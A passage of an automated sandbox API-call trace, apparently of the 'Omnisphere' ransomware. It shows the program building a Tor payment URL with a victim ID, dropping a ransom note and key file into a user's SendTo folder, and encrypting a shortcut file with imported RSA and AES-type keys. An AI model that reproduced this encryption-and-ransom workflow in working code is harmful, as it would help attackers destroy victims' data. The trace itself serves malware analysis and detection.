lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.967] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.968] GetProcessHeap () returned 0x1600000 [0128.968] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f49a0 [0128.968] PathCombineW (in: pszDest=0x16f49a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" [0128.968] GetProcessHeap () returned 0x1600000 [0128.968] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1717d28 [0128.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.968] WriteFile (in: hFile=0x28c, lpBuffer=0x1717d28*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1717d28*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0128.969] CloseHandle (hObject=0x28c) returned 1 [0128.969] GetProcessHeap () returned 0x1600000 [0128.969] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17275f8 | out: hHeap=0x1600000) returned 1 [0128.969] GetProcessHeap () returned 0x1600000 [0128.969] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0128.969] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" [0128.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.969] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0128.970] CloseHandle (hObject=0x28c) returned 1 [0128.970] GetProcessHeap () returned 0x1600000 [0128.970] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0128.970] GetProcessHeap () returned 0x1600000 [0128.970] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c348 | out: hHeap=0x1600000) returned 1 [0128.970] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442db745, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x442db745, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x442db745, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Documents.mydocs", cAlternateFileName="DOCUME~1.MYD")) returned 1 [0128.970] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xadbd28c, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xa13, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Fax Recipient.lnk", cAlternateFileName="FAXREC~1.LNK")) returned 1 [0128.970] GetProcessHeap () returned 0x1600000 [0128.970] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0128.971] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", pszFile="Fax Recipient.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" [0128.971] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0128.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\fax recipient.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0128.971] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=2579) returned 1 [0128.972] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4ef, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0128.972] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0128.974] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa13, lpName=0x0) returned 0x288 [0128.974] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.974] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.974] CloseHandle (hObject=0x288) returned 1 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.974] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] GetTickCount () returned 0x11602c6 [0128.975] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0128.976] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16397a8) returned 1 [0128.976] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0128.977] CryptDestroyKey (hKey=0x16397a8) returned 1 [0128.977] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0128.977] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa13, lpName=0x0) returned 0x288 [0128.977] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa13) returned 0x1480000 [0128.977] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669120) returned 1 [0128.978] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0128.978] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0128.978] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0128.978] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.978] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.978] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.978] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.978] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.978] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.978] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.979] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.980] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.981] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, 